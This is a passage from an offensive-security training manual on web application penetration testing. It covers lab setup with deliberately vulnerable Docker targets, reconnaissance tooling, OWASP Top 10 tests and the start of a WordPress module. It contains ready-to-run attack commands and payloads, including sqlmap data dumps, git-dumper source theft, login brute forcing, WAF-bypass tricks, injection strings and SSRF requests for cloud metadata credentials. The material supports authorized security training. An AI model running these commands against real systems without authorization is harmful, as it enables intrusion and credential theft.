OFFENSIVE SECURITY TRAINING SERIES

WEB APPLICATION PENETRATION TESTING MASTERY

CMS · APIs · SPAs · Injection · Auth · Business Logic · Cloud

WordPress · Joomla · Drupal · Magento · REST · GraphQL · WebSockets · Microservices

```
attacker@kali:~$ ffuf -u https://target.com/FUZZ -w raft-large-files.txt
[+] Found: /admin  [Status: 200]
[+] Found: /.git   [Status: 200]
[+] Found: /.env   [Status: 200]
attacker@kali:~$ sqlmap -r request.txt --dump-all --batch
```

Compiled for Oscar Opemba | oxghostx

Edition 2026 · Kali Linux · OWASP Top 10 · Burp Suite

For authorized assessments, bug bounty programs, and lab environments only.

Table of Contents

START HERE

How to Use This Book

About This Book

This book covers penetration testing across every major category of web application: Content Management Systems (WordPress, Joomla, Drupal, Magento), REST and GraphQL APIs, Single Page Applications, e-commerce platforms, admin panels, and cloud-hosted applications. Every module follows the same structure: theory, deep technical content, commands you can run today, guided labs, challenge labs, and review Q&A.

What You Need

- **Kali Linux** — all tools are `apt`-installable or pip3-installable
- **Burp Suite Community** — primary testing proxy (free, ships with Kali)
- **Docker** — runs all practice target applications locally
- **Firefox** — configured to proxy through Burp (127.0.0.1:8080)

Practice Targets Used

Target	Purpose	Run Command
DVWA	Classic PHP vulnerabilities	`docker run -d -p 80:80 vulnerables/web-dvwa`
OWASP Juice Shop	Modern SPA + API	`docker run -d -p 3000:3000 bkimminich/juice-shop`
WebGoat	Java application testing	`docker run -d -p 8080:8080 webgoat/webgoat-8.0`
VulnWP	WordPress exploitation	`docker run -d -p 8081:80 wpscanteam/vuln-wordpress-full`

How This Book Is Organized

Part I covers methodology, lab setup, reconnaissance, and the OWASP Top 10 framework. **Part II** dives deep into CMS platforms: WordPress, Joomla, Drupal, and Magento. **Part III** covers APIs (REST, GraphQL, SOAP) and five major vulnerability classes: SQL injection, XSS, file upload/LFI, SSRF/XXE/SSTI. **Part IV** addresses authentication attacks (JWT, OAuth), business logic and IDOR, SPA testing, WebSockets, microservices, and cloud storage misconfigurations. **The Capstone** is a full end-to-end assessment simulation. **Reference** contains master cheat sheets, 30-day roadmap, best resources, and final assessments.

PART I

Foundations & Reconnaissance

Methodology, lab setup, web recon,
technology fingerprinting, and OWASP Top 10.

MODULE 01

Web Application Pentest Methodology and Lab Setup

Objectives

Establish a professional web application penetration testing methodology, set up a complete Kali-based web testing lab including Burp Suite and all supporting tools, understand application architecture from an attacker's perspective, and know the correct order of operations before touching a single target.

Theory

Web application penetration testing is a structured process of simulating how a malicious actor would attack a web application to find, validate, and document exploitable vulnerabilities. Unlike network penetration testing where you target hosts and services, web app testing targets the *logic* of an application — how it processes inputs, enforces authorization, manages sessions, and trusts external data.

The OWASP Testing Guide (OTG) and OWASP Web Security Testing Guide (WSTG) are the industry-standard methodologies. This book implements both, organized by application type so you know exactly which techniques to apply to which targets.

Deep Technical Explanation

The Web App Pentest Phases

```
Phase 1 — Reconnaissance
  ■■■ Passive: OSINT, Google dorks, Shodan, certificate transparency
  ■■■ Active: subdomain enum, content discovery, technology fingerprinting

Phase 2 — Mapping and Analysis
  ■■■ Application mapping: all pages, parameters, input fields, API endpoints
  ■■■ Authentication mapping: login flows, registration, password reset, MFA
  ■■■ Business logic mapping: what does this app actually DO?

Phase 3 — Vulnerability Discovery
  ■■■ Automated scanning (Burp Suite, Nuclei, Nikto)
  ■■■ Manual testing per vulnerability class (OWASP Top 10 + beyond)

Phase 4 — Exploitation
  ■■■ Proof-of-concept for each confirmed vulnerability
  ■■■ Chained exploitation (e.g., SSRF → internal service access)

Phase 5 — Post-Exploitation (if in scope)
  ■■■ RCE escalation to server-level access
  ■■■ Data extraction, privilege escalation on the server

Phase 6 — Reporting
  ■■■ Finding documentation, risk rating, remediation guidance
```

Understanding the Stack You're Attacking

Every web application has layers, each with its own attack surface:

Layer	Examples	Key Vulnerabilities
DNS / CDN	Cloudflare, Route53, Akamai	Subdomain takeover, bypass
Web Server	Nginx, Apache, IIS, Caddy	Version exploits, misconfig, path traversal
App Framework	Laravel, Django, Rails, Express, Spring	Framework-specific CVEs, deserialization
Application Logic	Custom code	Business logic, IDOR, auth bypasses
CMS / Platform	WordPress, Drupal, Joomla	Plugin/theme vulns, known CVEs
Database	MySQL, PostgreSQL, MongoDB, MSSQL	SQLi, NoSQLi
Third-party APIs	Payment, OAuth, external services	API key exposure, logic flaws
Cloud Storage	S3, GCS, Azure Blob	Public bucket misconfiguration

Lab Setup

Core tools — install on Kali:

```
sudo apt update && sudo apt install -y \
  burpsuite nikto gobuster feroxbuster wfuzz ffuf \
  sqlmap commix nuclei wpscan joomscan \
  whatweb wafw00f arjun jwt_tool python3-pip

# Python tools
pip3 install droopescan dalfox --break-system-packages

# Nuclei templates
nuclei -update-templates

# Install Caido as an alternative/complement to Burp (optional)
# https://caido.io
```

Burp Suite Configuration:

```
1. Proxy → Options → Proxy Listener: 127.0.0.1:8080
2. Install CA certificate in browser:
   Firefox → about:preferences#privacy → Certificates → Import
   Download from: http://burpca (while proxying through Burp)
3. Set Firefox to use manual proxy: 127.0.0.1:8080
4. Target → Scope: add your target domains, enable "Show only in-scope items"
5. Proxy → Intercept → OFF (use HTTP History, only intercept when needed)
```

Practice Lab targets (all intentionally vulnerable):

```
# DVWA
docker run -d -p 80:80 vulnerables/web-dvwa

# OWASP Juice Shop (modern SPA target)
docker run -d -p 3000:3000 bkimminich/juice-shop

# WebGoat (Java-based training app)
docker run -d -p 8080:8080 webgoat/webgoat-8.0

# HackTheBox/VulnHub WordPress target
# TryHackMe: "Bolt", "Daily Bugle", "Blog" rooms

# WPScan vulnerable WordPress (local)
docker run -d -p 8081:80 wpscanteam/vuln-wordpress-full

# DVWA specifically — set security level to LOW first
http://localhost/setup.php → Create/Reset Database
http://localhost/security.php → Security Level: Low
```

Burp Suite Extensions to install (BApp Store):

- **Active Scan++** — enhanced active scanning
- **Autorize** — automated authorization testing (IDOR detection)
- **JWT Editor** — JWT attack tooling built-in

- **Param Miner** — discovers hidden/unlinked parameters
- **Logger++** — enhanced HTTP logging
- **Turbo Intruder** — high-speed brute force/fuzzing
- **Retire.js** — identifies vulnerable JavaScript libraries

Browser Setup

Use **Firefox** with these extensions:

- FoxyProxy (switch proxy profiles)
- Wappalyzer (technology fingerprinting inline)
- Cookie-Editor (session manipulation)

Create two Firefox profiles:

- `pentest` — routes through Burp, all JS/cache warnings disabled
- `clean` — no proxy, for safe browsing/documentation

```
firefox -P    # profile manager
```

HTTP Fundamentals Every Tester Must Know Cold

Understanding what you're looking at in Burp is as important as knowing the attacks:

- **HTTP Methods:** GET (retrieve), POST (submit), PUT (replace), PATCH (update), DELETE, OPTIONS (CORS preflight), HEAD
- **Status codes:** 200 OK, 301/302 redirect, 400 bad request, 401 unauthenticated, 403 forbidden, 404 not found, 500 server error
- **Request anatomy:** Method + Path + HTTP version / Headers / Body
- **Key headers:** `Host`, `Cookie`, `Authorization`, `Content-Type`, `Origin`, `Referer`, `X-Forwarded-For`, `User-Agent`
- **Cookie flags:** `HttpOnly` (no JS access), `Secure` (HTTPS only), `SameSite` (CSRF protection)
- **Same-Origin Policy (SOP):** a browser restricts scripts on `a.com` from reading responses from `b.com` — CORS and CSRF attacks revolve around this
- **CORS:** `Access-Control-Allow-Origin` response header controls cross-origin reads — misconfigured CORS is a common high-severity finding

Common Mistakes

- Jumping straight to automated scanning without manually browsing the full application first — scanners miss business logic entirely.

- Not scoping Burp before scanning — you'll accidentally test out-of-scope third-party services (payment processors, CDNs) and risk legal issues.
- Ignoring JavaScript files — modern apps move enormous amounts of logic, API endpoints, and sometimes hardcoded credentials into JS files that no scanner crawls properly.
- Testing with a single user account and missing IDOR / privilege escalation vulnerabilities that only appear when you compare two different accounts.

Real-World Usage

Professional web app testers set up at minimum two user accounts before any testing begins: one standard user and one with a different role (e.g., standard vs. admin, or account A vs. account B with identical roles). The second account is essential for authorization testing — you can't find IDOR or horizontal privilege escalation with only one account.

Guided Lab — Lab Verification

```
# Confirm all key tools are available
for t in burpsuite ffuf sqlmap wpscan nikto nuclei whatweb wafw00f; do
  which $t && echo "$t: OK" || echo "$t: MISSING"
done

# Start DVWA and Juice Shop
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa
docker run -d -p 3000:3000 --name juiceshop bkimminich/juice-shop

# Verify
curl -s -o /dev/null -w "%{http_code}" http://localhost/        # should be 200
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/   # should be 200

# Run a quick tech fingerprint
whatweb http://localhost/ -v
whatweb http://localhost:3000/ -v
```

Challenge Lab

Set up all four practice targets (DVWA, Juice Shop, WebGoat, and one CMS target). For each, manually browse every visible page before touching any tool, and write a one-paragraph "application summary" covering: what the app does, what technology stack you identified, what user roles exist, and what you'd prioritize testing first. Do this entirely by observation — no scanners yet.

Review Questions

1. Name the six phases of a web application pentest in order.

2. Why must Burp Suite's scope be configured before any scanning begins?
3. What is the Same-Origin Policy and why do attackers care about it?
4. Why should you set up at least two user accounts before testing authorization?
5. What does the `HttpOnly` cookie flag prevent and which attack class does that mitigate?

Answers

1. Reconnaissance, Mapping and Analysis, Vulnerability Discovery, Exploitation, Post-Exploitation, Reporting.
2. Without scope configuration, Burp and any extensions will scan/log third-party services (payment processors, external APIs) that are not authorized for testing — creating legal risk and noise.
3. SOP prevents scripts on one origin from reading responses from a different origin; attackers exploit CORS misconfigurations and CSRF to bypass or abuse this protection.
4. Authorization vulnerabilities (IDOR, privilege escalation) only become visible when you compare what one account can access vs. another — a single account appears to work "correctly" because you have no reference point.
5. HttpOnly prevents JavaScript from accessing the cookie value, which mitigates XSS-based session hijacking (stealing the session cookie via `document.cookie`).

MODULE 02

Web Reconnaissance and Fingerprinting

Objectives

Build a complete attack surface map of any web target: discover all subdomains and virtual hosts, enumerate hidden content and endpoints, fingerprint the full technology stack, identify WAF presence and bypass potential, and find sensitive data exposed in public sources before touching the application itself.

Theory

Web reconnaissance for a skilled tester produces far more than a list of URLs — it reveals the technology stack (which dictates which exploits to use), the authentication endpoints (login, password reset, OAuth flows), the API surface (often underdocumented and under-secured), and frequently reveals forgotten or staging subdomains running outdated, unpatched software. Reconnaissance is where the highest-value low-hanging fruit hides.

Deep Technical Explanation

Subdomain Enumeration

```
# amass — most comprehensive, combines passive + brute force
amass enum -passive -d target.com -o subs_passive.txt
amass enum -brute -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o subs_brute.txt

# subfinder — fast API-based passive enumeration
subfinder -d target.com -o subfinder.txt -all -recursive

# Combine and deduplicate
cat subs_passive.txt subfinder.txt | sort -u > all_subs.txt

# Probe which are live and get tech/title/status
cat all_subs.txt | httpx -title -status-code -tech-detect -o live_subs.txt

# Take screenshots of all live subs (visual triage)
cat all_subs.txt | httpx -screenshot -o screenshots/
```

Virtual Host Discovery

VHosts serve different applications on the same IP based on the `Host` header — a critical attack surface often missed:

```
# ffuf vhost fuzzing
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://192.168.56.50/ \
  -H "Host: FUZZ.target.com" \
  -fs 1234          # filter by size of default response to suppress false positives

# gobuster vhost mode
gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --append-domain
```

Content and Directory Discovery

```
# feroxbuster — recursive, fast, handles redirects well
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
  -x php,html,js,json,txt,bak,old,zip \
  -t 50 -r --auto-tune

# ffuf — versatile, good for custom filtering
ffuf -u https://target.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -mc 200,201,204,301,302,307,401,403 \
  -t 40

# gobuster — simple, reliable
gobuster dir -u https://target.com \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -x php,html,txt,bak -t 30

# Specific file targets worth checking on any app:
# robots.txt, sitemap.xml, .env, .git/, backup.zip, config.php.bak,
# web.config, phpinfo.php, info.php, server-status, .htaccess
```

Parameter Discovery

```
# arjun — discovers hidden GET/POST parameters
arjun -u https://target.com/search -m GET
arjun -u https://target.com/api/user -m POST

# Burp Suite Param Miner extension
# In Burp: right-click any request → Extensions → Param Miner → Guess params
```

Technology Stack Fingerprinting

```
# whatweb — comprehensive tech identification
whatweb https://target.com -v --log-brief=whatweb.txt

# wafw00f — WAF detection
wafw00f https://target.com

# Wappalyzer (browser extension) — real-time inline tech identification

# Manual fingerprinting via response headers:
curl -sI https://target.com | grep -iE 'server|x-powered-by|x-generator|x-drupal|x-wp'

# JavaScript library enumeration (Retire.js via Burp extension)
# Or: check page source for known library signatures in <script> tags

# CMS-specific detection:
curl -s https://target.com/wp-login.php -o /dev/null -w "%{http_code}"      # WordPress
curl -s https://target.com/administrator/ -o /dev/null -w "%{http_code}"    # Joomla
curl -s https://target.com/user/login -o /dev/null -w "%{http_code}"        # Drupal
curl -s https://target.com/admin -o /dev/null -w "%{http_code}"             # Generic
```

Certificate Transparency Logs

CT logs are public records of every SSL certificate ever issued — a goldmine for finding subdomains:

```
# crt.sh (web-based)
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
  python3 -c "import json,sys; data=json.load(sys.stdin); \
  [print(d['name_value']) for d in data]" | sort -u

# Using httpx to filter live ones
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
  python3 -c "import json,sys; [print(d['name_value']) for d in json.load(sys.stdin)]" | \
  sort -u | httpx -silent
```

Sensitive File and Exposure Discovery

```
# .git directory exposure (leaks full source code)
curl -s https://target.com/.git/HEAD
# If that returns "ref: refs/heads/main", the git repo is exposed
# Use git-dumper to pull the entire repo:
pip3 install git-dumper --break-system-packages
git-dumper https://target.com/.git/ ./leaked_repo/

# .env file exposure (database passwords, API keys, secrets)
curl -s https://target.com/.env

# Backup file patterns
for ext in bak old backup zip tar.gz sql; do
  code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com/backup.$ext)
  echo "backup.$ext: $code"
done

# Google dorking for the target
# site:target.com ext:sql OR ext:bak OR ext:log
# site:target.com intext:"DB_PASSWORD"
# site:target.com intitle:"index of"
# "target.com" site:pastebin.com
# "target.com" site:github.com "password" OR "secret" OR "api_key"

# Shodan host intel
shodan host $(dig +short target.com | head -1)
```

JavaScript Analysis

JavaScript files often expose API endpoints, internal logic, and sometimes hardcoded credentials:

```
# Extract all JS URLs from a page
curl -s https://target.com/ | grep -oE 'src="[^"]*\.js[^"]*"' | sed 's/src="//;s/"//'

# Download all JS files and search for secrets
# Use LinkFinder to extract endpoints from JS
python3 linkfinder.py -i https://target.com -d -o cli

# Manual grep patterns to search downloaded JS:
grep -rE 'api[_-]?key|apikey|secret|password|token|auth|jwt' ./js_files/
grep -rE '"\/api\/[a-z]' ./js_files/     # API endpoint patterns
grep -rE 'http[s]?://[a-z]' ./js_files/ # Hardcoded internal URLs
```

WAF Detection and Fingerprinting

```
# wafw00f
wafw00f https://target.com -a    # detect all WAFs

# Manual WAF detection via error responses:
# Send clearly malicious input and observe response:
curl -s "https://target.com/?id=1' OR '1'='1" -v 2>&1 | grep -iE 'cloudflare|sucuri|imperva|akamai|403'

# WAF bypass techniques (for later exploitation modules):
# 1. Case variation: SELECT → SeLeCt
# 2. URL encoding: %27 for '
# 3. Double encoding: %2527
# 4. Comment injection: /*!SELECT*/
# 5. Chunked transfer encoding (burp extension: chunked coding converter)
```

Practical Examples — Full Target Recon Workflow

```
# Complete one-liner recon pipeline for a new target
TARGET="example.com"

# 1. Subdomains
subfinder -d $TARGET -silent | httpx -silent -o live.txt

# 2. Content discovery on main domain
feroxbuster -u https://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
  -x php,html,js,txt,bak -t 50 -o fero_out.txt

# 3. Tech stack
whatweb https://$TARGET -v 2>/dev/null | grep -v "^$"

# 4. WAF check
wafw00f https://$TARGET

# 5. CT logs
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | \
  python3 -c "import json,sys; [print(d['name_value']) for d in json.load(sys.stdin)]" | sort -u
```

Common Mistakes

- Running content discovery with only one wordlist — combine at least `raft-large-files`, `raft-large-directories`, and a CMS-specific wordlist where applicable.
- Ignoring `robots.txt` — it often lists paths the developer explicitly wanted hidden, which is exactly what you want to find.
- Not downloading and reading JS files — 40-60% of modern web app vulnerabilities are in client-side logic and API endpoints embedded in JavaScript.
- Missing `.git/`, `.env`, and backup file exposure — these are trivially simple checks that yield critical findings on surprisingly many targets.

Real-World Usage

On a real engagement, the recon phase typically produces a list of 50-200 live subdomains, a content map of thousands of paths, several exposed backup/config files, and often at least one completely forgotten staging subdomain running a 3-year-old version of the application. All of this intelligence is collected before a single login form is touched.

Guided Lab — Full Recon on Juice Shop

```
TARGET="http://localhost:3000"

# Content discovery
feroxbuster -u $TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 30

# JS endpoint extraction
curl -s $TARGET | grep -oE '"[^"]*\.js[^"]*"' | tr -d '"'

# Extract all API endpoints from Juice Shop's main.js
curl -s "$TARGET/main.js" | grep -oE '"\/api\/[a-zA-Z0-9_/]+"' | sort -u
```

Expected: dozens of hidden API endpoints (Juice Shop embeds its entire API map in the bundled JS — a realistic representation of what happens in production SPAs).

Challenge Lab

Using only recon techniques (no exploitation), build a complete attack surface map of DVWA that includes: all discoverable paths (200/403/301 responses), technology stack, any sensitive files exposed, and a list of every form/parameter you found. Document exactly which tool found each item.

Review Questions

1. What are certificate transparency logs and why are they useful for subdomain enumeration?
2. What does a `.git/` directory exposure allow an attacker to do?
3. What does wafw00f do and why does WAF detection matter before testing?
4. What is the purpose of virtual host fuzzing and how does it differ from subdomain enumeration?
5. Name three sensitive file extensions worth checking on any web target.

Answers

1. CT logs are public records of all SSL certificates ever issued — since certificates are issued for domain/subdomain names, they reveal every subdomain a target has ever obtained a certificate for, including forgotten or internal ones.
2. It allows an attacker to download the entire application source code using git-dumper, exposing all code logic, hardcoded credentials, database schemas, and commit history.

3. It identifies which Web Application Firewall (if any) is protecting the target — this informs how to tune payloads and whether WAF bypass techniques are needed before sending any attack traffic.
4. Virtual host fuzzing sends requests to the same IP with different `Host` headers to discover applications served on the same server but under different domain names — subdomain enumeration uses DNS, while vhost fuzzing uses HTTP headers and can find hosts that don't have public DNS records.
5. `.bak`, `.old`, `.sql` (also acceptable: `.env`, `.zip`, `.tar.gz`, `.config`, `.log`).

MODULE 03

OWASP Top 10 and Core Vulnerability Classes

Objectives

Understand, detect, and exploit every OWASP Top 10 vulnerability category across all web application types, know the specific HTTP-level indicators that reveal each class, and build the systematic mindset for finding them consistently rather than stumbling across them accidentally.

Theory

The OWASP Top 10 is not a checklist — it's a mental model for thinking about web application risk. Every application you test will manifest some subset of these categories in different forms. The tester who understands the *root cause* of each class (not just the tool to detect it) will find vulnerabilities that every automated scanner misses.

Deep Technical Explanation

A01 — Broken Access Control

The most impactful category. Broken access control means users can act outside their intended permissions.

IDOR (Insecure Direct Object Reference):

```
# Normal request:
GET /api/user/1234/profile HTTP/1.1
Cookie: session=your_token

# IDOR test: change the ID to another user's
GET /api/user/1235/profile HTTP/1.1
Cookie: session=your_token

# If you receive 1235's data — that's a critical IDOR
```

Horizontal vs Vertical privilege escalation:

```
# Horizontal: access another user's data at the same privilege level (IDOR above)
# Vertical: access admin functionality as a normal user

# Test: remove admin-only header, change role parameter, access admin URL directly
GET /admin/users HTTP/1.1            # access as non-admin
POST /api/user/update                # body: {"role":"admin"}
```

Autorize (Burp extension) automates this:

```
1. Log in as low-privilege user, copy cookie
2. Log in as high-privilege user, add low-priv cookie to Autorize
3. Browse as high-priv — Autorize re-issues every request with low-priv cookie
4. Green = same response (IDOR), Red = different (protected correctly)
```

A02 — Cryptographic Failures

Sensitive data exposed due to weak/missing encryption or hashing:

```
# Check if sensitive forms use HTTPS
curl -sI http://target.com/login | grep -i location   # should redirect to HTTPS

# Check for sensitive data in URL parameters (logged by servers/proxies)
# Bad: https://target.com/reset?token=abc123&email=user@test.com
# Good: POST body with token

# Check cookie flags
curl -sI https://target.com/login | grep -i "set-cookie"
# Missing Secure, HttpOnly flags are findings

# Test for password hashing strength (create account, observe storage if possible)
# Weak: MD5, SHA1 unsalted (crack with hashcat if you get DB dump)
# Acceptable: bcrypt, argon2, PBKDF2
```

A03 — Injection (SQL, Command, LDAP, NoSQL)

See dedicated Modules 8 (SQLi), 9 (XSS), 12 (Command Injection) for deep coverage. Core concept:

```
User input → interpreted as code/query → attacker controls query/command

# SQL:
input: ' OR '1'='1
result: SELECT * FROM users WHERE username='' OR '1'='1'--

# Command:
input: ; id
result: ping -c 1 input ; id

# LDAP:
input: *)(uid=*))(|(uid=*
result: (&(uid=*)(uid=*))(|(uid=*)(password=anything))
```

A04 — Insecure Design

Business logic vulnerabilities that no tool finds — only tester reasoning:

```
Examples:
- Password reset link doesn't expire
- Coupon codes can be applied multiple times
- Negative quantity in purchase order → money credited to account
- Transfer of funds doesn't validate sender balance
- Race condition: redeem reward points while simultaneously purchasing
- "Forgot password" sends password in plaintext (design flaw)
```

A05 — Security Misconfiguration

```
# Default credentials
curl -s https://target.com/admin/ -d "user=admin&pass=admin"
curl -s https://target.com/manager/html -u tomcat:tomcat

# Directory listing enabled
curl -s https://target.com/uploads/    # returns file list? finding.

# Verbose error messages (leaks stack traces)
curl -s "https://target.com/?id='"    # triggers SQL error with DB info?

# Unnecessary HTTP methods
curl -X OPTIONS https://target.com/ -v | grep Allow
# "Allow: GET, POST, PUT, DELETE, TRACE" — TRACE is a finding (XST)

# Missing security headers
curl -sI https://target.com | grep -iE 'x-frame-options|content-security-policy|x-content-type|strict-transport'
# Missing any of these is a medium/low finding

# Server version disclosure
curl -sI https://target.com | grep -i "server:"
# "Server: Apache/2.4.29 (Ubuntu)" — version disclosure finding
```

A06 — Vulnerable and Outdated Components

```
# Retire.js (Burp extension) — identifies vulnerable JS libraries in-page
# Nuclei — template-based CVE scanning
nuclei -u https://target.com -t cves/ -severity critical,high

# Check version in source/headers vs known CVEs
# WordPress: check /readme.html for version
# jQuery version in source → check against known XSS CVEs
curl -s https://target.com/ | grep -i "jquery"
```

A07 — Identification and Authentication Failures

```
# Username enumeration via error message difference
# Different response for "user not found" vs "wrong password":
curl -s https://target.com/login -d "username=admin&password=wrong" | wc -c
curl -s https://target.com/login -d "username=doesnotexist&password=wrong" | wc -c
# Different response lengths? → username enumeration

# Default/weak credentials
# admin:admin, admin:password, admin:123456

# No rate limiting on login (brute force possible)
ffuf -u https://target.com/login -X POST \
  -d "username=admin&password=FUZZ" \
  -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -mc 302  # redirect on success

# Password reset flaws
# - Predictable reset tokens (sequential, time-based)
# - Reset link works after use
# - Token doesn't expire
# - Token sent in URL (appears in Referer header / server logs)

# Session fixation
# - Log in, check if session ID changes after authentication
# - Before login cookie = after login cookie? Session fixation finding.
```

A08 — Software and Data Integrity Failures

```
# Insecure deserialization
# Java: serialized objects start with "rO0" in base64
# PHP: a:2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Python pickle: arbitrary code execution on deserialization

# Test: modify serialized object in cookie/param and observe error type
# If you see Java/PHP deserialization error with class names exposed — flag for deep testing

# SRI (Subresource Integrity) check — CDN-loaded scripts without integrity hash:
curl -s https://target.com | grep "script src" | grep -v "integrity="
# Scripts loaded from CDN without SRI are a supply-chain risk finding
```

A09 — Security Logging and Monitoring Failures

This is primarily a reporting finding, not something exploitable during testing:

```
Check (via testing behavior):
- Does the app lock out after 10+ failed logins? (monitoring)
- Does it respond differently to obviously malicious inputs? (logging)
- Is there a way to generate "noise" without triggering any response?
Document: application shows no evidence of rate limiting on [X],
          suggesting alerting/monitoring may be insufficient.
```

A10 — Server-Side Request Forgery (SSRF)

```
SSRF: server makes HTTP request to attacker-controlled URL
→ used to reach internal services, cloud metadata APIs, etc.

# Detect: any parameter that accepts a URL
?url=https://attacker.com/ping
?image=http://attacker.com/1.png
?webhook=http://attacker.com/
?callback=http://attacker.com/

# Basic SSRF test: point to your Burp Collaborator / interactsh
# If server makes a request to your URL → SSRF confirmed

# Cloud metadata exploitation (critical if app runs on AWS/GCP/Azure):
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns AWS IAM temporary credentials → full AWS account access possible

# Internal service enumeration via SSRF:
?url=http://127.0.0.1:6379/    # Redis
?url=http://127.0.0.1:8080/    # Internal admin panel
?url=http://10.0.0.1/          # Internal network host
```

Common Mistakes

- Testing only GET parameters for injection — POST bodies, JSON fields, headers (`User-Agent`, `X-Forwarded-For`, `Referer`), and even file names are all injection points.
- Marking "password confirmed as bcrypt" as "no finding" without also checking session management, password reset, and account lockout.
- Dismissing information disclosure (version numbers, stack traces) as "low" without reasoning about how it enables other attacks.
- Not testing for IDOR on every numeric/sequential ID in the application — this is consistently the highest-yield, most impactful thing to test on any modern application.

Real-World Usage

In practice, IDOR and broken authentication together account for roughly 60% of critical/high findings on real web application assessments. Every time you see a number in a URL (`/order/12345`, `/user/9876`, `/invoice/001`) or a parameter carrying an ID in a POST body — test it with another account's ID. The hit rate is remarkably high even on production applications that have gone through QA.

Guided Lab — OWASP Juice Shop All Top 10

Juice Shop has at least one challenge for every OWASP Top 10 category:

```
A01: Access /administration (no admin login) → path is exposed in JS bundle
A03: Try ' in search box → SQL error reveals database type
A07: Try admin@juice-sh.op as email with any password using SQL injection
A10: Find the server-side request forgery challenge via the feedback endpoint

Access challenge list at: http://localhost:3000/#/score-board
Start with "★" (1-star) challenges for each OWASP category
```

Challenge Lab

On DVWA at security level "Low," find and exploit one vulnerability from each of these categories: broken access control, SQL injection, XSS, and insecure file upload. For each finding, write one sentence describing the root cause and one sentence for the remediation.

Review Questions

1. What is the difference between horizontal and vertical privilege escalation?
2. What makes SSRF dangerous in a cloud environment specifically?
3. Why is username enumeration a security finding even if no password is revealed?
4. What is session fixation?
5. Which OWASP category covers business logic vulnerabilities and why are they scanner-resistant?

Answers

1. Horizontal escalation means accessing another user's data at the same privilege level (IDOR). Vertical escalation means gaining higher privileges than intended (e.g., normal user accessing admin functions).
2. Cloud platforms (AWS, Azure, GCP) expose instance metadata including temporary IAM credentials at known internal IP addresses (169.254.169.254). SSRF can retrieve these credentials, giving an attacker full cloud account access.

3. Username enumeration allows an attacker to build a valid list of usernames for targeted brute-force attacks, password spraying, or social engineering — reducing the credential attack search space from "any username + any password" to "known username + any password."
4. Session fixation is when a server accepts a session ID set by the user before authentication, allowing an attacker to set a known session ID, trick the victim into logging in, and then use that same known ID to impersonate the authenticated victim.
5. A04 (Insecure Design). Business logic vulnerabilities require understanding what the application is supposed to do and reasoning about what it can be tricked into doing differently — automated scanners only test known payload patterns against known vulnerability signatures, not application-specific business rules.

PART II

CMS & Platform Testing

WordPress, Joomla, Drupal, and Magento — platform-specific enumeration and exploitation.

MODULE 04

WordPress Penetration Testing

Objectives

Perform a thorough security assessment of a WordPress installation: enumerate core version, themes, plugins, and users; exploit known CVEs in plugins and themes; test authentication weaknesses; achieve RCE via plugin upload or theme editing; and assess misconfigured WordPress deployments.

Theory

WordPress powers approximately 43% of all websites on the internet. Its plugin ecosystem (over 60,000 plugins) is its greatest strength and its greatest attack surface — the core WordPress code is regularly audited and patched, but thousands of third-party plugins introduce new vulnerabilities constantly. The most common WordPress compromise paths are: vulnerable plugin → RCE, weak credentials → admin panel → RCE via theme editor, and XML-RPC abuse.

Deep Technical Explanation

Identification and Fingerprinting

```
# Confirm WordPress and get version
curl -s https://target.com/readme.html | grep "Version"
curl -s https://target.com/wp-login.php -o /dev/null -w "%{http_code}"
curl -s https://target.com/ | grep -i "wp-content"

# Generator meta tag (often reveals version)
curl -s https://target.com/ | grep "generator"
# <meta name="generator" content="WordPress 6.1.1" />

# RSS feed version
curl -s https://target.com/?feed=rss2 | grep "<generator>"
```

WPScan — The WordPress Scanner

```
# Basic scan (unauthenticated)
wpscan --url https://target.com --detection-mode aggressive

# Enumerate everything
wpscan --url https://target.com \
  -e ap,at,au,tt,cb,dbe \
  --plugins-detection aggressive \
  --themes-detection aggressive

# Enumerate users (critical for credential attacks)
wpscan --url https://target.com -e u

# With API token (needed for vulnerability data — free at wpscan.com)
wpscan --url https://target.com --api-token YOUR_TOKEN -e ap,at,au

# Brute force login (only if explicitly authorized)
wpscan --url https://target.com -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -U admin

# Brute force XML-RPC (can test many passwords per request)
wpscan --url https://target.com -P passwords.txt -U users.txt \
  --password-attack xmlrpc-multicall
```

WPScan enumeration flags explained:

- `ap` — all plugins (aggressive — checks 93,000+ plugin paths)
- `at` — all themes
- `au` — all users
- `tt` — timthumbs (old file upload vulnerability)
- `cb` — config backups (`wp-config.php.bak`, `wp-config.php.old`)
- `dbe` — DB exports

User Enumeration

```
# Method 1: Author archive pages (default behavior)
curl -s "https://target.com/?author=1" -v 2>&1 | grep "Location:"
# Returns: /author/admin/ → username is "admin"
# Loop through IDs 1-10 to find all authors

# Method 2: REST API
curl -s "https://target.com/wp-json/wp/v2/users"
# Returns JSON array of all users with login names, display names, avatars

# Method 3: Login error differentiation
curl -s https://target.com/wp-login.php -d "log=admin&pwd=wrong&wp-submit=Log+In"
# "The password you entered for the username admin is incorrect"
# vs "Invalid username" — confirms whether "admin" exists

for user in admin administrator editor author; do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    https://target.com/wp-login.php -d "log=$user&pwd=badpass&wp-submit=Log+In" -L)
  echo "$user: $response"
done
```

XML-RPC Abuse

```
# Check if XML-RPC is enabled
curl -s https://target.com/xmlrpc.php
